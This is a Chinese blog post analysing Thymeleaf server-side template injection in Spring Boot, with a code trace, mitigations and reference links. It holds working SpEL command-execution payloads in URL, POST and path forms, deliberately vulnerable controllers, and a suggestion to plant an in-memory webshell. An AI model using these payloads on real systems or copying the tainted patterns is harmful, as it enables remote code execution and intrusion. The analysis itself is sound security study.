Java安全之Thymeleaf SSTI分析

写在前面

文章首发:https://www.anquanke.com/post/id/254519

最近看了一遍Thymeleaf,借此机会学习一下Thymeleaf的SSTI,调试的过程中发现了很多有意思的点,也学习到了一些payload的构造姿势,简单码个文章记录一下。

About Thymeleaf

Thymeleaf是SpringBoot中的一个模版引擎,个人认为有点类似于Python中的Jinja2,负责渲染前端页面。

之前写JavaWeb和SSM的时候,前端页面可能会用JSP写,但是因为之前项目都是war包部署,而SpringBoot都是jar包且内嵌tomcat,所以是不支持解析jsp文件的。但是如果是编写纯静态的html就很不方便,那么这时候就需要一个模版引擎类似于Jinja2可以通过表达式帮我们把动态的变量渲染到前端页面,我们只需要写一个template即可。这也就是到了SpringBoot为什么官方推荐要使用Thymeleaf处理前端页面了。

基础知识

片段表达式

Thymeleaf中的表达式有好几种

  • 变量表达式: ${...}
  • 选择变量表达式: *{...}
  • 消息表达: #{...}
  • 链接 URL 表达式: @{...}
  • 片段表达式: ~{...}

而这次遇到的是片段表达式(FragmentExpression): ~{...},片段表达式可以用于引用公共的目标片段比如footer或者header

比如在/WEB-INF/templates/footer.html定义一个片段,名为copy。<div th:fragment="copy">

<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org">

  <body>

    <div th:fragment="copy">
&copy; 2011 The Good Thymes Virtual Grocery
</div> </body> </html>

在另一template中引用该片段<div th:insert="~{footer :: copy}"></div>

<body>

  ...

  <div th:insert="~{footer :: copy}"></div>

</body>

片段表达式语法:

  1. ~{templatename::selector},会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment,如上面的~{footer :: copy}
  2. ~{templatename},引用整个templatename模版文件作为fragment
  3. ~{::selector} 或 ~{this::selector},引用来自同一模版文件名为selectorfragmnt

其中selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等。

~{}片段表达式中出现::,则::后需要有值,也就是selector

预处理

语法:__${expression}__

官方文档对其的解释:

除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。

预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。

预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__)包围。

个人感觉这是出现SSTI最关键的一个地方,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行

调试分析

前面也提到了是DispatcherServlet拦截请求并分发到Handler处理,那下断点直接定位到DispatcherServlet#doDispatch方法(所有的request和response都会经过该方法)。

首先获取到了Handler,之后进入doDispatch方法的实现,这里重点注意下下面3个方法

1、ha.handle() ,获取ModelAndView也就是Controller中的return值

2、applyDefaultViewName(),对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值

3、processDispatchResult(),处理视图并解析执行表达式以及抛出异常回显部分处理

ha.handle

首先跟进mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

/org/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class#handleInternal,继续跟进

跳到invokeHandlerMethod方法。这里就是使用Handler处理request并获取ModelAndView了,继续跟进

在/org/springframework/web/servlet/mvc/method/annotation/RequestMappingHandlerAdapter.class直接跟进到invokeAndHandle方法

这里通过invokeForRequest函数,根据用户输入的url,调用相关的controller,并将其返回值returnValue,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找,并返回给用户。

重点是returnValue值是否为null,根据Controller写法不同会导致returnValue的值存在null非null的情况。

上面Controller中return的字符串并根据前缀和后缀拼接起来,在templates目录下寻找模版文件

例如下面的Thymeleaf默认配置类文件+Controller,Thymeleaf就会去找/templates/index.html

默认配置类文件org/springframework/boot/autoconfigure/thymeleaf/ThymeleafProperties.java

@ConfigurationProperties(prefix = "spring.thymeleaf")
public class ThymeleafProperties { private static final Charset DEFAULT_ENCODING = StandardCharsets.UTF_8; public static final String DEFAULT_PREFIX = "classpath:/templates/"; public static final String DEFAULT_SUFFIX = ".html"; /**
* Whether to check that the template exists before rendering it.
*/
private boolean checkTemplate = true; /**
* Whether to check that the templates location exists.
*/
private boolean checkTemplateLocation = true; /**
* Prefix that gets prepended to view names when building a URL.
*/
private String prefix = DEFAULT_PREFIX; /**
* Suffix that gets appended to view names when building a URL.
*/
private String suffix = DEFAULT_SUFFIX; /**
* Template mode to be applied to templates. See also Thymeleaf's TemplateMode enum.
*/
private String mode = "HTML"; /**
* Template files encoding.
*/
private Charset encoding = DEFAULT_ENCODING;

Controller

@Controller
public class IndexController { @RequestMapping("/index")
public String test1(Model model){
model.addAttribute("msg","Hello,Thymeleaf"); return "index";
}
}

上面这种是returnValue不为null的情况。那如果Controller如下写的话,returnValue的值就会为null

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

applyDefaultViewName

如果ModelAndView值不为null则什么也不做,否则如果defaultViewName存在值则会给ModelAndView赋值为defaultViewName,也就是将URI path作为视图名称(具体逻辑会在后面讲)

processDispatchResult

获取到ModelAndView值后会进入到processDispatchResult方法,第1个if会被跳过,跟进第2个if中的render方法

render方法中,首先会获取mv对象的viewName,然后调用resolveViewName方法,resolveViewName方法最终会获取最匹配的视图解析器。

跟一下resolveViewName方法,这里涉及到两个方法:1、首先通过getCandidateViews筛选出resolveViewName方法返回值不为null的视图解析器添加到candidateViews中; 2、之后通过getBestView拿到最适配的解析器,getBestView中的逻辑是优先返回在candidateViews存在重定向动作的view,如果都不存在则根据请求头中的Accept字段的值与candidateViews的相关顺序,并判断是否兼容来返回最适配的View

getCandidateViews:

getBestView:

最终返回的是ThymeleafView之后ThymeleafView调用了render方法,继续跟进

调用renderFragment

这里是漏洞触发的关键点之一,该方法在后面首先判断viewTemplateName是否包含::,若包含则获取解析器,调用parseExpression方法将viewTemplateName(也就是Controller中最后return的值)构造成片段表达式(~{})并解析执行,跟进parseExpression方法。

在org/thymeleaf/standard/expression/StandardExpressionParser.class中继续调用parseExpression

最终在org/thymeleaf/standard/expression/StandardExpressionParser对我们表达式进行解析,首先在preprocess方法对表达式进行预处理(这里只要表达式正确就已经执行了我们payload中的命令)并把结果存入preprocessedInput,可以看到此时预处理就已经执行了命令,之后再次调用parse对预处理的结果preprocessedInput进行第二次解析,而第二次解析时,需要语法正确也就是在Thymeleaf中,~{}::需要有值才可以获得回显,否则没有回显。

在org/thymeleaf/standard/expression/StandardExpressionPreprocessor#preprocess方法中,首先通过正则,将__xxxx__中间xxxx部分提取出来,调用execute执行

跟进execute最终调用org/thymeleaf/standard/expression/VariableExpression#executeVariableExpression使用SpEL执行表达式,触发任意代码执行。

漏洞复现

首先常见的一个payload就是lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x,通过__${}__::.x构造表达式会由Thymeleaf去执行

0x01 templatename

Payload:lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x,这里因为最后return的值为user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x/welcome,无论我们payload如何构造最后都会拼接/welcome所以即使不加.x依然可以触发命令执行

@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

0x02 selector

Contorller :可控点变为了selector位置

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}

payload

/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x

其实这里也可以不需要.x::也可触发命令执行

poc:

/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open%20-a%20Calculator").getInputStream()).next()%7d__

关于回显问题:在0x01与0x02payload注入点不同会导致有无回显,也可以说是controller代码给予我们的可控参数不同,

0x01中可控的是templatename,而0x02中可控的是selector,而这两个地方的注入在最后抛出异常的时候找不到templatename是存在结果回显的而找不到selector不存在结果回显。

0x03 URI path

Controller

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

payload

因为mav返回值为空,所以viewTemplateName会从uri中获取,直接在{document}位置传入payload即可

http://localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::.x

0x03 构造回显

这里其实和0x01类似,templatename部分可控,没回显的原因在于defaultView中对URI path的处理,我们可以在最后加两个.

poc

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::..需要注意的是::必须放在后面,放在前面虽然可以执行命令,但是没有回显。

About .x

在0x03中payload最后是必须要.x,看一下为什么,之前在applyDefaultViewName部分有提到defaultViewName这个值,因为mav返回值为空,所以viewTemplateName会从uri中获取,我们看下是如何处理defaultViewName的,调试之后发现在getViewName方法中调用transformPath对URL中的path进行了处理

重点在于第3个if中stripFilenameExtension方法

/org/springframework/util/StringUtils#stripFilenameExtension该方法会对后缀做一个清除

如果我们传入的payload没有.x的话,例如http://localhost:8090/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__::最后会被处理成/doc/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a calculator").getInputStream())从而没有了::无法进入预处理导致无法执行任意代码。

所以这里即使是在最后只加个.也是可以的,不一定必须是.x

其他姿势

这里列举几个比较新奇的思路,反射之类的就不列举了,改一下表达式中的代码即可。

0x01 :: 位置

除了上面利用.替换.x以外(ModelAndView为null,从URI中获取viewname)在0x01中::的位置也不是固定的,这个看之前的代码逻辑即可知晓,比如可以替换成下面的poc,将::放在最前面:

::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

0x02 POST方式

这个是在turn1tup师傅的文章中get的

POST /path HTTP/1.1
Host: localhost:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 135 lang=::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__

0x03 省略__

当Controller如下配置时,可以省略__包裹

@RequestMapping("/path")
public String path2(@RequestParam String lang) {
return lang; //template path is tainted
}

poc,也不局限于用${},用*{}也是可以的

GET /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x HTTP/1.1
Host: localhost:8090

关于这种方式可以参考:https://xz.aliyun.com/t/9826#toc-4

修复方案

0x01 配置 @ResponseBody 或者 @RestController

这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。

@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

0x02 在返回值前面加上 "redirect:"

这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //FP as redirects are not resolved as expressions
}

0x03 在方法参数中加上 HttpServletResponse 参数

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}

结语

关于这个漏洞的话调试下来感觉很巧妙,有很多值得深入挖掘的点,但是个人感觉Thymeleaf平常更多的使用姿势还是在于将变量渲染到前端页面而不是类似于输入模版名称去动态返回模版文件,可能实战遇到的并不会很多吧。再有就是在审计的时候有没有一些可以快速定位到该缺陷的方法,待研究。如果真的遇到了,也没必要过于纠结回显,可以直接打内存马。

Reference

https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/

https://xz.aliyun.com/t/9826#toc-4

http://x2y.pw/2020/11/15/Thymeleaf-模板漏洞分析/

https://github.com/veracode-research/spring-view-manipulation/

https://www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html

https://paper.seebug.org/1332/

https://www.freebuf.com/articles/network/250026.html

Java安全之Thymeleaf SSTI分析的更多相关文章

  1. 原子类java.util.concurrent.atomic.*原理分析

    原子类java.util.concurrent.atomic.*原理分析 在并发编程下,原子操作类的应用可以说是无处不在的.为解决线程安全的读写提供了很大的便利. 原子类保证原子的两个关键的点就是:可 ...

  2. JAVA常用数据结构及原理分析

    JAVA常用数据结构及原理分析 http://www.2cto.com/kf/201506/412305.html 前不久面试官让我说一下怎么理解java数据结构框架,之前也看过部分源码,balaba ...

  3. Java虚拟机类加载机制——案例分析

    转载: Java虚拟机类加载机制--案例分析   在<Java虚拟机类加载机制>一文中详细阐述了类加载的过程,并举了几个例子进行了简要分析,在文章的最后留了一个悬念给各位,这里来揭开这个悬 ...

  4. Java NIO使用及原理分析 (四)

    在上一篇文章中介绍了关于缓冲区的一些细节内容,现在终于可以进入NIO中最有意思的部分非阻塞I/O.通常在进行同步I/O操作时,如果读取数据,代码会阻塞直至有 可供读取的数据.同样,写入调用将会阻塞直至 ...

  5. Java split方法源码分析

    Java split方法源码分析 public String[] split(CharSequence input [, int limit]) { int index = 0; // 指针 bool ...

  6. java fork-join框架应用和分析

    http://shmilyaw-hotmail-com.iteye.com/blog/1897636 java fork-join框架应用和分析 博客分类: concurrency multithre ...

  7. JAVA WEB 中的编码分析

    JAVA WEB 中的编码分析 */--> pre.src {background-color: #292b2e; color: #b2b2b2;} pre.src {background-co ...

  8. JAVA GC垃圾收集器的分析

    本篇文章主要介绍了"JAVA GC垃圾收集器的分析",主要涉及到JAVA GC垃圾收集器的分析方面的内容,对于JAVA GC垃圾收集器的分析感兴趣的同学可以参考一下.       ...

  9. Java的LockSupport.park()实现分析(转载)

    LockSupport类是Java6(JSR166-JUC)引入的一个类,提供了基本的线程同步原语.LockSupport实际上是调用了Unsafe类里的函数,归结到Unsafe里,只有两个函数: p ...

随机推荐

  1. PHP中的垃圾回收相关函数

    之前我们已经学习过 PHP 中的引用计数以及垃圾回收机制的概念.这些内容非常偏理论,也是非常常见的面试内容.而今天介绍的则是具体的关于垃圾回收的一些功能函数.关于之前的两篇介绍文章,大家可以到文章底部 ...

  2. Elasticsearch(ES)集群的搭建

    1. 概述 Elasticsearch(ES)集群支持分片和副本,能够很容易的实现负载均衡.扩容.容灾.高可用. 今天我们就来聊一下,Elasticsearch(ES)集群是如何搭建的. 2. 场景介 ...

  3. python刷题第三周

    以下是本周有所收获的题目 第一题: 第4章-4 验证"哥德巴赫猜想" (20 分) 数学领域著名的"哥德巴赫猜想"的大致意思是:任何一个大于2的偶数总能表示为两 ...

  4. centos7.X 系统初始化>>优化

    1 修改网卡为eth0 cd /etc/sysconfig/network-scripts/ vim ifcfg-eno16777729TYPE=EthernetBOOTPROTO=staticIPA ...

  5. sql case when 多条件小结

    sql case when 多条件 小结 -- 第一种 格式 : 简单Case函数 : -- 格式说明 -- case 列名 -- when 条件值1 then 选择项1 -- when 条件值2 t ...

  6. 测试工程需要明白的Monkey测试

    App稳定性测试 稳定性测试就是指软件长时间的持续运行,系统版本是否稳定,是否能否持续的为用户提供服务. 指标: 异常的次数 异常的频率 App的稳定性测试如何实施? 首选Monkey Monkey是 ...

  7. HTML对溢出的控制:overflow

    用于对超出模块的内容进行控制 overflow的三种参数 1.visible(默认):溢出部分可见 2.hidden:溢出部分隐藏 3.auto:适当加入滚动条 overflow使用方法 1.常用 o ...

  8. oracle 不能用上下键调用sql语句

    在Linux的sqlplus中运行SQL语句之后,想用上下键把历史命令找出来,发现不支持. 安装rlwrap 重启sqlplus 3,使用rlwrap,rlwrap sqlplus / as sysd ...

  9. 我在阿里巴巴做 Serverless 云开发平台

    技术的成熟度源自大规模的实践,Java 领域,阿里将自身的实践源源不断的反哺给微服务技术体系:Node.js 领域,阿里正掀起了前所未有的前端革命浪潮,将实践反哺给 Serverless技术体系,并逐 ...

  10. wqs二分 学习笔记

    wqs二分学习笔记 wqs二分适用题目及理论分析 wqs二分可以用来解决这类题目: 给你一个强制要求,例如必须\(n\)条白边,或者划分成\(n\)段之类的,然后让你求出最大(小)值.但是需要满足图像 ...